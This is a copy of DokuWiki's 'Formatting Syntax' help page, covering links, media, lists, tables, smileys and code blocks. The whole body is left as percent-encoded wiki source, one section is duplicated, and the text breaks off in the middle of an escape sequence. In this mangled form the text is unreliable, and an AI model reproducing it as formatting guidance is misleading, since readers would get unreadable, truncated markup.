User Tools

Site Tools


wiki:syntax_9179

======%20Formatting%20Syntax%20======%0d%0a%0d%0aDokuWiki%20supports%20some%20simple%20markup%20language%2c%20which%20tries%20to%20make%20the%20datafiles%20to%20be%20as%20readable%20as%20possible.%20This%20page%20contains%20all%20possible%20syntax%20you%20may%20use%20when%20editing%20the%20pages.%20Simply%20have%20a%20look%20at%20the%20source%20of%20this%20page%20by%20pressing%20%26quot;Edit%20this%20page%26quot;.%20If%20you%20want%20to%20try%20something%2c%20just%20use%20the%20playground%7cplayground%20page.%20The%20simpler%20markup%20is%20easily%20accessible%20via%20toolbar%7cquickbuttons%2c%20too.%0d%0a%0d%0a=====%20Basic%20Text%20Formatting%20=====%0d%0a%0d%0aDokuWiki%20supports%20bold%2c%20italic%2c%20underlined%20and%20monospaced%20texts.%20Of%20course%20you%20can%20combine%20all%20these.%0d%0a%0d%0a%20%20DokuWiki%20supports%20bold%2c%20italic%2c%20underlined%20and%20monospaced%20texts.%0d%0a%20%20Of%20course%20you%20can%20combine%20all%20these.%0d%0a%0d%0aYou%20can%20use%20%26lt;sub%26gt;subscript%26lt;/sub%26gt;%20and%20%26lt;sup%26gt;superscript%26lt;/sup%26gt;%2c%20too.%0d%0a%0d%0a%20%20You%20can%20use%20%26lt;sub%26gt;subscript%26lt;/sub%26gt;%20and%20%26lt;sup%26gt;superscript%26lt;/sup%26gt;%2c%20too.%0d%0a%0d%0aYou%20can%20mark%20something%20as%20%26lt;del%26gt;deleted%26lt;/del%26gt;%20as%20well.%0d%0a%0d%0a%20%20You%20can%20mark%20something%20as%20%26lt;del%26gt;deleted%26lt;/del%26gt;%20as%20well.%0d%0a%0d%0aParagraphs%20are%20created%20from%20blank%20lines.%20If%20you%20want%20to%20force%20a%20newline%20without%20a%20paragraph%2c%20you%20can%20use%20two%20backslashes%20followed%20by%20a%20whitespace%20or%20the%20end%20of%20line.%0d%0a%0d%0aThis%20is%20some%20text%20with%20some%20linebreaks%5c%5c%20Note%20that%20the%0d%0atwo%20backslashes%20are%20only%20recognized%20at%20the%20end%20of%20a%20line%5c%5c%0d%0aor%20followed%20by%5c%5c%20a%20whitespace%20%5c%5cthis%20happens%20without%20it.%0d%0a%0d%0a%20%20This%20is%20some%20text%20with%20some%20linebreaks%5c%5c%20Note%20that%20the%0d%0a%20%20two%20backslashes%20are%20only%20recognized%20at%20the%20end%20of%20a%20line%5c%5c%0d%0a%20%20or%20followed%20by%5c%5c%20a%20whitespace%20%5c%5cthis%20happens%20without%20it.%0d%0a%0d%0aYou%20should%20use%20forced%20newlines%20only%20if%20really%20needed.%0d%0a%0d%0a=====%20Links%20=====%0d%0a%0d%0aDokuWiki%20supports%20multiple%20ways%20of%20creating%20links.%0d%0a%0d%0a====%20External%20====%0d%0a%0d%0aExternal%20links%20are%20recognized%20automagically:%20http:www.google.com%20or%20simply%20www.google.com%20-%20You%20can%20set%20the%20link%20text%20as%20well:%20[[http://www.google.com%7cThis%20Link%20points%20to%20google]].%20Email%20addresses%20like%20this%20one:%20%26lt;andi%40splitbrain.org%26gt;%20are%20recognized%2c%20too.%0d%0a%0d%0a%20%20DokuWiki%20supports%20multiple%20ways%20of%20creating%20links.%20External%20links%20are%20recognized%0d%0a%20%20automagically:%20http://www.google.com%20or%20simply%20www.google.com%20-%20You%20can%20set%0d%0a%20%20link%20text%20as%20well:%20[[http://www.google.com%7cThis%20Link%20points%20to%20google]].%20Email%0d%0a%20%20addresses%20like%20this%20one:%20%26lt;andi%40splitbrain.org%26gt;%20are%20recognized%2c%20too.%0d%0a%0d%0a====%20Internal%20====%0d%0a%0d%0aInternal%20links%20are%20created%20by%20using%20square%20brackets.%20You%20can%20either%20just%20give%20a%20[[pagename]]%20or%20use%20an%20additional%20[[pagename%7clink%20text]].%0d%0a%0d%0a%20%20Internal%20links%20are%20created%20by%20using%20square%20brackets.%20You%20can%20either%20just%20give%0d%0a%20%20a%20[[pagename]]%20or%20use%20an%20additional%20[[pagename%7clink%20text]].%0d%0a%0d%0a[[doku%26gt;pagename%7cWiki%20pagenames]]%20are%20converted%20to%20lowercase%20automatically%2c%20special%20characters%20are%20not%20allowed.%0d%0a%0d%0aYou%20can%20use%20[[some:namespaces]]%20by%20using%20a%20colon%20in%20the%20pagename.%0d%0a%0d%0a%20%20You%20can%20use%20[[some:namespaces]]%20by%20using%20a%20colon%20in%20the%20pagename.%0d%0a%0d%0aFor%20details%20about%20namespaces%20see%20[[doku%26gt;namespaces]].%0d%0a%0d%0aLinking%20to%20a%20specific%20section%20is%20possible%2c%20too.%20Just%20add%20the%20section%20name%20behind%20a%20hash%20character%20as%20known%20from%20HTML.%20This%20links%20to%20[[syntax%23internal%7cthis%20Section]].%0d%0a%0d%0a%20%20This%20links%20to%20[[syntax%23internal%7cthis%20Section]].%0d%0a%0d%0aNotes:%0d%0a%0d%0a%20%20*%20Links%20to%20syntax%7cexisting%20pages%20are%20shown%20in%20a%20different%20style%20from%20nonexisting%20ones.%0d%0a%20%20*%20DokuWiki%20does%20not%20use%20CamelCase%20to%20automatically%20create%20links%20by%20default%2c%20but%20this%20behavior%20can%20be%20enabled%20in%20the%20config%20file.%20Hint:%20If%20DokuWiki%20is%20a%20link%2c%20then%20it's%20enabled.%0d%0a%20%20*%20When%20a%20section's%20heading%20is%20changed%2c%20its%20bookmark%20changes%2c%20too.%20So%20don't%20rely%20on%20section%20linking%20too%20much.%0d%0a%0d%0a====%20Interwiki%20====%0d%0a%0d%0aDokuWiki%20supports%20Interwiki%20links.%20These%20are%20quick%20links%20to%20other%20Wikis.%20For%20example%20this%20is%20a%20link%20to%20Wikipedia's%20page%20about%20Wikis:%20Wiki.%0d%0a%0d%0a%20%20DokuWiki%20supports%20Interwiki%20links.%20These%20are%20quick%20links%20to%20other%20Wikis.%0d%0a%20%20For%20example%20this%20is%20a%20link%20to%20Wikipedia's%20page%20about%20Wikis:%20Wiki.%0d%0a%0d%0a====%20Windows%20Shares%20====%0d%0a%0d%0aWindows%20shares%20like%20%5c%5cserver%5cshare%7cthis%20are%20recognized%2c%20too.%20Please%20note%20that%20these%20only%20make%20sense%20in%20a%20homogeneous%20user%20group%20like%20a%20corporate%20Intranet.%0d%0a%0d%0a%20%20Windows%20Shares%20like%20%5c%5cserver%5cshare%7cthis%20are%20recognized%2c%20too.%0d%0a%0d%0aNotes:%0d%0a%0d%0a%20%20*%20For%20security%20reasons%20direct%20browsing%20of%20windows%20shares%20only%20works%20in%20Microsoft%20Internet%20Explorer%20per%20default%20(and%20only%20in%20the%20%26quot;local%20zone%26quot;).%0d%0a%20%20*%20For%20Mozilla%20and%20Firefox%20it%20can%20be%20enabled%20through%20different%20workaround%20mentioned%20in%20the%20http://kb.mozillazine.org/Links_to_local_pages_do_not_work%7cMozilla%20Knowledge%20Base.%20However%2c%20there%20will%20still%20be%20a%20JavaScript%20warning%20about%20trying%20to%20open%20a%20Windows%20Share.%20To%20remove%20this%20warning%20(for%20all%20users)%2c%20put%20the%20following%20line%20in%20conf/lang/en/lang.php%20(more%20details%20at%20localization%23changing_some_localized_texts_and_strings_in_your_installation%7clocalization):%20%26lt;code%20-%20conf/lang/en/lang.php%26gt;%0d%0a%26lt;%3fphp%0d%0a/%0d%0a%20*%20Customization%20of%20the%20english%20language%20file%0d%0a%20*%20Copy%20only%20the%20strings%20that%20needs%20to%20be%20modified%0d%0a%20*/%0d%0a%24lang['js']['nosmblinks']%20=%20;%0d%0a%26lt;/code%26gt;%0d%0a%0d%0a====%20Image%20Links%20====%0d%0a%0d%0aYou%20can%20also%20use%20an%20image%20to%20link%20to%20another%20internal%20or%20external%20page%20by%20combining%20the%20syntax%20for%20links%20and%20%23images_and_other_files%7cimages%20(see%20below)%20like%20this:%0d%0a%0d%0a%20%20http://php.net%7c{{wiki:dokuwiki-128.png}}%0d%0a%0d%0ahttp://php.net%7c{{wiki:dokuwiki-128.png}}%0d%0a%0d%0aPlease%20note:%20The%20image%20formatting%20is%20the%20only%20formatting%20syntax%20accepted%20in%20link%20names.%0d%0a%0d%0aThe%20whole%20%23images_and_other_files%7cimage%20and%20%23links%7clink%20syntax%20is%20supported%20(including%20image%20resizing%2c%20internal%20and%20external%20images%20and%20URLs%20and%20interwiki%20links).%0d%0a%0d%0a=====%20Footnotes%20=====%0d%0a%0d%0aYou%20can%20add%20footnotes%201)%20by%20using%20double%20parentheses.%0d%0a%0d%0a%20%20You%20can%20add%20footnotes%202)%20by%20using%20double%20parentheses.%0d%0a%0d%0a=====%20Sectioning%20=====%0d%0a%0d%0aYou%20can%20use%20up%20to%20five%20different%20levels%20of%20headlines%20to%20structure%20your%20content.%20If%20you%20have%20more%20than%20three%20headlines%2c%20a%20table%20of%20contents%20is%20generated%20automatically%20–%20this%20can%20be%20disabled%20by%20including%20the%20string%20%26lt;nowiki%26gt;%7e%7eNOTOC%7e%7e%26lt;/nowiki%26gt;%20in%20the%20document.%0d%0a%0d%0a====%20Headline%20Level%203%20====%0d%0a===%20Headline%20Level%204%20===%0d%0a==%20Headline%20Level%205%20==%0d%0a%0d%0a%20%20====%20Headline%20Level%203%20====%0d%0a%20%20===%20Headline%20Level%204%20===%0d%0a%20%20==%20Headline%20Level%205%20==%0d%0a%0d%0aBy%20using%20four%20or%20more%20dashes%2c%20you%20can%20make%20a%20horizontal%20line:%0d%0a%0d%0a—-%0d%0a%0d%0a=====%20Media%20Files%20=====%0d%0a%0d%0aYou%20can%20include%20external%20and%20internal%20images%7cimages%2c%20videos%20and%20audio%20files%20with%20curly%20brackets.%20Optionally%20you%20can%20specify%20the%20size%20of%20them.%0d%0a%0d%0aReal%20size:%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0d%0a%0d%0aResize%20to%20given%20width:%20%20%20%20%20%20%20%20%20%20%20%20dokuwiki-128.png_3f50%0d%0a%0d%0aResize%20to%20given%20width%20and%20height3):%20dokuwiki-128.png_3f200x50%0d%0a%0d%0aResized%20external%20image:%20%20%20%20%20%20%20%20%20%20%20php.gif%3f200x50%0d%0a%0d%0a%20%20Real%20size:%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0d%0a%20%20Resize%20to%20given%20width:%20%20%20%20%20%20%20%20%20%20%20%20dokuwiki-128.png_3f50%0d%0a%20%20Resize%20to%20given%20width%20and%20height:%20dokuwiki-128.png_3f200x50%0d%0a%20%20Resized%20external%20image:%20%20%20%20%20%20%20%20%20%20%20php.gif%3f200x50%0d%0a%0d%0a%0d%0aBy%20using%20left%20or%20right%20whitespaces%20you%20can%20choose%20the%20alignment.%0d%0a%0d%0a%0d%0a%0d%0adokuwiki-128.png_20%0d%0a%0d%0adokuwiki-128.png_20%0d%0a%0d%0a%20%20%0d%0a%20%20dokuwiki-128.png_20%0d%0a%20%20dokuwiki-128.png_20%0d%0a%0d%0aOf%20course%2c%20you%20can%20add%20a%20title%20(displayed%20as%20a%20tooltip%20by%20most%20browsers)%2c%20too.%0d%0a%0d%0adokuwiki-128.png_20_7cthis_20is_20the_20caption%0d%0a%0d%0a%20%20dokuwiki-128.png_20_7cthis_20is_20the_20caption%0d%0a%0d%0aFor%20linking%20an%20image%20to%20another%20page%20see%20%23Image%20Links%20above.%0d%0a%0d%0a====%20Supported%20Media%20Formats%20====%0d%0a%0d%0aDokuWiki%20can%20embed%20the%20following%20media%20formats%20directly.%0d%0a%0d%0a%7c%20Image%20%7c%20gif%2c%20jpg%2c%20png%20%20%7c%0d%0a%7c%20Video%20%7c%20webm%2c%20ogv%2c%20mp4%20%7c%0d%0a%7c%20Audio%20%7c%20ogg%2c%20mp3%2c%20wav%20%20%7c%0d%0a%7c%20Flash%20%7c%20swf%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7c%0d%0a%0d%0aIf%20you%20specify%20a%20filename%20that%20is%20not%20a%20supported%20media%20format%2c%20then%20it%20will%20be%20displayed%20as%20a%20link%20instead.%0d%0a%0d%0aBy%20adding%20%3flinkonly%20you%20provide%20a%20link%20to%20the%20media%20without%20displaying%20it%20inline%0d%0a%0d%0a%20%20dokuwiki-128.png_3flinkonly%0d%0a%0d%0adokuwiki-128.png_3flinkonly%20This%20is%20just%20a%20link%20to%20the%20image.%0d%0a%0d%0a====%20Fallback%20Formats%20====%0d%0a%0d%0aUnfortunately%20not%20all%20browsers%20understand%20all%20video%20and%20audio%20formats.%20To%20mitigate%20the%20problem%2c%20you%20can%20upload%20your%20file%20in%20different%20formats%20for%20maximum%20browser%20compatibility.%0d%0a%0d%0aFor%20example%20consider%20this%20embedded%20mp4%20video:%0d%0a%0d%0a%20%20video.mp4_7ca_20funny_20video%0d%0a%0d%0aWhen%20you%20upload%20a%20video.webm%20and%20video.ogv%20next%20to%20the%20referenced%20video.mp4%2c%20DokuWiki%20will%20automatically%20add%20them%20as%20alternatives%20so%20that%20one%20of%20the%20three%20files%20is%20understood%20by%20your%20browser.%0d%0a%0d%0aAdditionally%20DokuWiki%20supports%20a%20%26quot;poster%26quot;%20image%20which%20will%20be%20shown%20before%20the%20video%20has%20started.%20That%20image%20needs%20to%20have%20the%20same%20filename%20as%20the%20video%20and%20be%20either%20a%20jpg%20or%20png%20file.%20In%20the%20example%20above%20a%20video.jpg%20file%20would%20work.%0d%0a%0d%0a=====%20Lists%20=====%0d%0a%0d%0aDokuwiki%20supports%20ordered%20and%20unordered%20lists.%20To%20create%20a%20list%20item%2c%20indent%20your%20text%20by%20two%20spaces%20and%20use%20a%20*%20for%20unordered%20lists%20or%20a%20-%20for%20ordered%20ones.%0d%0a%0d%0a%20%20*%20This%20is%20a%20list%0d%0a%20%20*%20The%20second%20item%0d%0a%20%20%20%20*%20You%20may%20have%20different%20levels%0d%0a%20%20*%20Another%20item%0d%0a%0d%0a%20%20-%20The%20same%20list%20but%20ordered%0d%0a%20%20-%20Another%20item%0d%0a%20%20%20%20-%20Just%20use%20indention%20for%20deeper%20levels%0d%0a%20%20-%20That's%20it%0d%0a%0d%0a%26lt;code%26gt;%0d%0a%20%20*%20This%20is%20a%20list%0d%0a%20%20*%20The%20second%20item%0d%0a%20%20%20%20*%20You%20may%20have%20different%20levels%0d%0a%20%20*%20Another%20item%0d%0a%0d%0a%20%20-%20The%20same%20list%20but%20ordered%0d%0a%20%20-%20Another%20item%0d%0a%20%20%20%20-%20Just%20use%20indention%20for%20deeper%20levels%0d%0a%20%20-%20That's%20it%0d%0a%26lt;/code%26gt;%0d%0a%0d%0aAlso%20take%20a%20look%20at%20the%20lists%7cFAQ%20on%20list%20items.%0d%0a%0d%0a=====%20Text%20Conversions%20=====%0d%0a%0d%0aDokuWiki%20can%20convert%20certain%20pre-defined%20characters%20or%20strings%20into%20images%20or%20other%20text%20or%20HTML.%0d%0a%0d%0aThe%20text%20to%20image%20conversion%20is%20mainly%20done%20for%20smileys.%20And%20the%20text%20to%20HTML%20conversion%20is%20used%20for%20typography%20replacements%2c%20but%20can%20be%20configured%20to%20use%20other%20HTML%20as%20well.%0d%0a%0d%0a====%20Text%20to%20Image%20Conversions%20====%0d%0a%0d%0aDokuWiki%20converts%20commonly%20used%20emoticons%20to%20their%20graphical%20equivalents.%20Those%20Smileys%20and%20other%20images%20can%20be%20configured%20and%20extended.%20Here%20is%20an%20overview%20of%20Smileys%20included%20in%20DokuWiki:%0d%0a%0d%0a%20%20*%208-)%20%25%25%20%208-)%20%20%25%25%0d%0a%20%20*%208-O%20%25%25%20%208-O%20%20%25%25%0d%0a%20%20*%20:-(%20%25%25%20%20:-(%20%20%25%25%0d%0a%20%20*%20:-)%20%25%25%20%20:-)%20%20%25%25%0d%0a%20%20*%20=)%20%20%25%25%20%20=)%20%20%20%25%25%0d%0a%20%20*%20:-/%20%25%25%20%20:-/%20%20%25%25%0d%0a%20%20*%20:-%5c%20%25%25%20%20:-%5c%20%20%25%25%0d%0a%20%20*%20:-%3f%20%25%25%20%20:-%3f%20%20%25%25%0d%0a%20%20*%20:-D%20%25%25%20%20:-D%20%20%25%25%0d%0a%20%20*%20:-P%20%25%25%20%20:-P%20%20%25%25%0d%0a%20%20*%20:-O%20%25%25%20%20:-O%20%20%25%25%0d%0a%20%20*%20:-X%20%25%25%20%20:-X%20%20%25%25%0d%0a%20%20*%20:-%7c%20%25%25%20%20:-%7c%20%20%25%25%0d%0a%20%20*%20;-)%20%25%25%20%20;-)%20%20%25%25%0d%0a%20%20*%20%5e_%5e%20%25%25%20%20%5e_%5e%20%20%25%25%0d%0a%20%20*%20:%3f:%20%25%25%20%20:%3f:%20%20%25%25%0d%0a%20%20*%20:!:%20%25%25%20%20:!:%20%20%25%25%0d%0a%20%20*%20LOL%20%25%25%20%20LOL%20%20%25%25%0d%0a%20%20*%20FIXME%20%25%25%20%20FIXME%20%25%25%0d%0a%20%20*%20DELETEME%20%25%25%20DELETEME%20%25%25%0d%0a%0d%0a====%20Text%20to%20HTML%20Conversions%20====%0d%0a%0d%0aTypography:%20DokuWiki%20can%20convert%20simple%20text%20characters%20to%20their%20typographically%20correct%20entities.%20Here%20is%20an%20example%20of%20recognized%20characters.%0d%0a%0d%0a-%26gt;%20%26lt;-%20%26lt;-%26gt;%20=%26gt;%20%26lt;=%20%26lt;=%26gt;%20%26gt;%26gt;%20%26lt;%26lt;%20–%20—%20640×480%20©%20™%20®%0d%0a%26quot;He%20thought%20'It's%20a%20man's%20world'…%26quot;%0d%0a%0d%0a%26lt;code%26gt;%0d%0a-%26gt;%20%26lt;-%20%26lt;-%26gt;%20=%26gt;%20%26lt;=%20%26lt;=%26gt;%20%26gt;%26gt;%20%26lt;%26lt;%20–%20—%20640×480%20©%20™%20®%0d%0a%26quot;He%20thought%20'It's%20a%20man's%20world'…%26quot;%0d%0a%26lt;/code%26gt;%0d%0a%0d%0aThe%20same%20can%20be%20done%20to%20produce%20any%20kind%20of%20HTML%2c%20it%20just%20needs%20to%20be%20added%20to%20the%20entities%7cpattern%20file.%0d%0a%0d%0aThere%20are%20three%20exceptions%20which%20do%20not%20come%20from%20that%20pattern%20file:%20multiplication%20entity%20(640×480)%2c%20'single'%20and%20%26quot;double%20quotes%26quot;.%20They%20can%20be%20turned%20off%20through%20a%20typography%7cconfig%20option.%0d%0a%0d%0a=====%20Quoting%20=====%0d%0a%0d%0aSome%20times%20you%20want%20to%20mark%20some%20text%20to%20show%20it's%20a%20reply%20or%20comment.%20You%20can%20use%20the%20following%20syntax:%0d%0a%0d%0a%26lt;code%26gt;%0d%0aI%20think%20we%20should%20do%20it%0d%0a%0d%0a%26gt;%20No%20we%20shouldn't%0d%0a%0d%0a%26gt;%26gt;%20Well%2c%20I%20say%20we%20should%0d%0a%0d%0a%26gt;%20Really%3f%0d%0a%0d%0a%26gt;%26gt;%20Yes!%0d%0a%0d%0a%26gt;%26gt;%26gt;%20Then%20lets%20do%20it!%0d%0a%26lt;/code%26gt;%0d%0a%0d%0aI%20think%20we%20should%20do%20it%0d%0a%0d%0a%26gt;%20No%20we%20shouldn't%0d%0a%0d%0a%26gt;%26gt;%20Well%2c%20I%20say%20we%20should%0d%0a%0d%0a%26gt;%20Really%3f%0d%0a%0d%0a%26gt;%26gt;%20Yes!%0d%0a%0d%0a%26gt;%26gt;%26gt;%20Then%20lets%20do%20it!%0d%0a%0d%0a=====%20Tables%20=====%0d%0a%0d%0aDokuWiki%20supports%20a%20simple%20syntax%20to%20create%20tables.%0d%0a%0d%0a%5e%20Heading%201%20%20%20%20%20%20%5e%20Heading%202%20%20%20%20%20%20%20%5e%20Heading%203%20%20%20%20%20%20%20%20%20%20%5e%0d%0a%7c%20Row%201%20Col%201%20%20%20%20%7c%20Row%201%20Col%202%20%20%20%20%20%7c%20Row%201%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%7c%20Row%202%20Col%201%20%20%20%20%7c%20some%20colspan%20(note%20the%20double%20pipe)%20%7c%7c%0d%0a%7c%20Row%203%20Col%201%20%20%20%20%7c%20Row%203%20Col%202%20%20%20%20%20%7c%20Row%203%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%0d%0aTable%20rows%20have%20to%20start%20and%20end%20with%20a%20%7c%20for%20normal%20rows%20or%20a%20%5e%20for%20headers.%0d%0a%0d%0a%20%20%5e%20Heading%201%20%20%20%20%20%20%5e%20Heading%202%20%20%20%20%20%20%20%5e%20Heading%203%20%20%20%20%20%20%20%20%20%20%5e%0d%0a%20%20%7c%20Row%201%20Col%201%20%20%20%20%7c%20Row%201%20Col%202%20%20%20%20%20%7c%20Row%201%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%20%20%7c%20Row%202%20Col%201%20%20%20%20%7c%20some%20colspan%20(note%20the%20double%20pipe)%20%7c%7c%0d%0a%20%20%7c%20Row%203%20Col%201%20%20%20%20%7c%20Row%203%20Col%202%20%20%20%20%20%7c%20Row%203%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%0d%0aTo%20connect%20cells%20horizontally%2c%20just%20make%20the%20next%20cell%20completely%20empty%20as%20shown%20above.%20Be%20sure%20to%20have%20always%20the%20same%20amount%20of%20cell%20separators!%0d%0a%0d%0aVertical%20tableheaders%20are%20possible%2c%20too.%0d%0a%0d%0a%7c%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5e%20Heading%201%20%20%20%20%20%20%20%20%20%20%20%20%5e%20Heading%202%20%20%20%20%20%20%20%20%20%20%5e%0d%0a%5e%20Heading%203%20%20%20%20%7c%20Row%201%20Col%202%20%20%20%20%20%20%20%20%20%20%7c%20Row%201%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%5e%20Heading%204%20%20%20%20%7c%20no%20colspan%20this%20time%20%7c%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7c%0d%0a%5e%20Heading%205%20%20%20%20%7c%20Row%202%20Col%202%20%20%20%20%20%20%20%20%20%20%7c%20Row%202%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%0d%0aAs%20you%20can%20see%2c%20it's%20the%20cell%20separator%20before%20a%20cell%20which%20decides%20about%20the%20formatting:%0d%0a%0d%0a%20%20%7c%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5e%20Heading%201%20%20%20%20%20%20%20%20%20%20%20%20%5e%20Heading%202%20%20%20%20%20%20%20%20%20%20%5e%0d%0a%20%20%5e%20Heading%203%20%20%20%20%7c%20Row%201%20Col%202%20%20%20%20%20%20%20%20%20%20%7c%20Row%201%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%20%20%5e%20Heading%204%20%20%20%20%7c%20no%20colspan%20this%20time%20%7c%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7c%0d%0a%20%20%5e%20Heading%205%20%20%20%20%7c%20Row%202%20Col%202%20%20%20%20%20%20%20%20%20%20%7c%20Row%202%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%0d%0aYou%20can%20have%20rowspans%20(vertically%20connected%20cells)%20by%20adding%20%25%25:::%25%25%20into%20the%20cells%20below%20the%20one%20to%20which%20they%20should%20connect.%0d%0a%0d%0a%5e%20Heading%201%20%20%20%20%20%20%5e%20Heading%202%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5e%20Heading%203%20%20%20%20%20%20%20%20%20%20%5e%0d%0a%7c%20Row%201%20Col%201%20%20%20%20%7c%20this%20cell%20spans%20vertically%20%7c%20Row%201%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%7c%20Row%202%20Col%201%20%20%20%20%7c%20:::%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7c%20Row%202%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%7c%20Row%203%20Col%201%20%20%20%20%7c%20:::%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7c%20Row%202%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%0d%0aApart%20from%20the%20rowspan%20syntax%20those%20cells%20should%20not%20contain%20anything%20else.%0d%0a%0d%0a%20%20%5e%20Heading%201%20%20%20%20%20%20%5e%20Heading%202%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5e%20Heading%203%20%20%20%20%20%20%20%20%20%20%5e%0d%0a%20%20%7c%20Row%201%20Col%201%20%20%20%20%7c%20this%20cell%20spans%20vertically%20%7c%20Row%201%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%20%20%7c%20Row%202%20Col%201%20%20%20%20%7c%20:::%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7c%20Row%202%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%20%20%7c%20Row%203%20Col%201%20%20%20%20%7c%20:::%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7c%20Row%202%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%0d%0aYou%20can%20align%20the%20table%20contents%2c%20too.%20Just%20add%20at%20least%20two%20whitespaces%20at%20the%20opposite%20end%20of%20your%20text:%20Add%20two%20spaces%20on%20the%20left%20to%20align%20right%2c%20two%20spaces%20on%20the%20right%20to%20align%20left%20and%20two%20spaces%20at%20least%20at%20both%20ends%20for%20centered%20text.%0d%0a%0d%0a%5e%20%20%20%20%20%20%20%20%20%20%20Table%20with%20alignment%20%20%20%20%20%20%20%20%20%20%20%5e%5e%5e%0d%0a%7c%20%20%20%20%20%20%20%20%20right%7c%20%20%20%20center%20%20%20%20%7cleft%20%20%20%20%20%20%20%20%20%20%7c%0d%0a%7cleft%20%20%20%20%20%20%20%20%20%20%7c%20%20%20%20%20%20%20%20%20right%7c%20%20%20%20center%20%20%20%20%7c%0d%0a%7c%20xxxxxxxxxxxx%20%7c%20xxxxxxxxxxxx%20%7c%20xxxxxxxxxxxx%20%7c%0d%0a%0d%0aThis%20is%20how%20it%20looks%20in%20the%20source:%0d%0a%0d%0a%20%20%5e%20%20%20%20%20%20%20%20%20%20%20Table%20with%20alignment%20%20%20%20%20%20%20%20%20%20%20%5e%5e%5e%0d%0a%20%20%7c%20%20%20%20%20%20%20%20%20right%7c%20%20%20%20center%20%20%20%20%7cleft%20%20%20%20%20%20%20%20%20%20%7c%0d%0a%20%20%7cleft%20%20%20%20%20%20%20%20%20%20%7c%20%20%20%20%20%20%20%20%20right%7c%20%20%20%20center%20%20%20%20%7c%0d%0a%20%20%7c%20xxxxxxxxxxxx%20%7c%20xxxxxxxxxxxx%20%7c%20xxxxxxxxxxxx%20%7c%0d%0a%0d%0aNote:%20Vertical%20alignment%20is%20not%20supported.%0d%0a%0d%0a=====%20No%20Formatting%20=====%0d%0a%0d%0aIf%20you%20need%20to%20display%20text%20exactly%20like%20it%20is%20typed%20(without%20any%20formatting)%2c%20enclose%20the%20area%20either%20with%20%25%25%26lt;nowiki%26gt;%25%25%20tags%20or%20even%20simpler%2c%20with%20double%20percent%20signs%20%26lt;nowiki%26gt;%25%25%26lt;/nowiki%26gt;.%0d%0a%0d%0a%26lt;nowiki%26gt;%0d%0aThis%20is%20some%20text%20which%20contains%20addresses%20like%20this:%20http:www.splitbrain.org%20and%20formatting%2c%20but%20nothing%20is%20done%20with%20it.%0d%0a%26lt;/nowiki%26gt;%0d%0aThe%20same%20is%20true%20for%20%25%25this%20text%20with%20a%20smiley%20;-)%25%25.%0d%0a%0d%0a%20%20%26lt;nowiki%26gt;%0d%0a%20%20This%20is%20some%20text%20which%20contains%20addresses%20like%20this:%20http:www.splitbrain.org%20and%20formatting%2c%20but%20nothing%20is%20done%20with%20it.%0d%0a%20%20%26lt;/nowiki%26gt;%0d%0a%20%20The%20same%20is%20true%20for%20%25%25this%20text%20with%20a%20smiley%20;-)%25%25.%0d%0a%0d%0a=====%20Code%20Blocks%20=====%0d%0a%0d%0aYou%20can%20include%20code%20blocks%20into%20your%20documents%20by%20either%20indenting%20them%20by%20at%20least%20two%20spaces%20(like%20used%20for%20the%20previous%20examples)%20or%20by%20using%20the%20tags%20%25%25%26lt;code%26gt;%25%25%20or%20%25%25%26lt;file%26gt;%25%25.%0d%0a%0d%0a%20%20This%20is%20text%20is%20indented%20by%20two%20spaces.%0d%0a%0d%0a%26lt;code%26gt;%0d%0aThis%20is%20preformatted%20code%20all%20spaces%20are%20preserved:%20like%20%20%20%20%20%20%20%20%20%20%20%20%20%20%26lt;-this%0d%0a%26lt;/code%26gt;%0d%0a%0d%0a%26lt;file%26gt;%0d%0aThis%20is%20pretty%20much%20the%20same%2c%20but%20you%20could%20use%20it%20to%20show%20that%20you%20quoted%20a%20file.%0d%0a%26lt;/file%26gt;%0d%0a%0d%0aThose%20blocks%20were%20created%20by%20this%20source:%0d%0a%0d%0a%20%20%20%20This%20is%20text%20is%20indented%20by%20two%20spaces.%0d%0a%0d%0a%20%20%26lt;code%26gt;%0d%0a%20%20This%20is%20preformatted%20code%20all%20spaces%20are%20preserved:%20like%20%20%20%20%20%20%20%20%20%20%20%20%20%20%26lt;-this%0d%0a%20%20%26lt;/code%26gt;%0d%0a%0d%0a%20%20%26lt;file%26gt;%0d%0a%20%20This%20is%20pretty%20much%20the%20same%2c%20but%20you%20could%20use%20it%20to%20show%20that%20you%20quoted%20a%20file.%0d%0a%20%20%26lt;/file%26gt;%0d%0a%0d%0a=====%20Basic%20Text%20Formatting%20=====%0d%0a%0d%0aDokuWiki%20supports%20bold%2c%20italic%2c%20underlined%20and%20monospaced%20texts.%20Of%20course%20you%20can%20combine%20all%20these.%0d%0a%0d%0a%20%20DokuWiki%20supports%20bold%2c%20italic%2c%20underlined%20and%20monospaced%20texts.%0d%0a%20%20Of%20course%20you%20can%20combine%20all%20these.%0d%0a%0d%0aYou%20can%20use%20%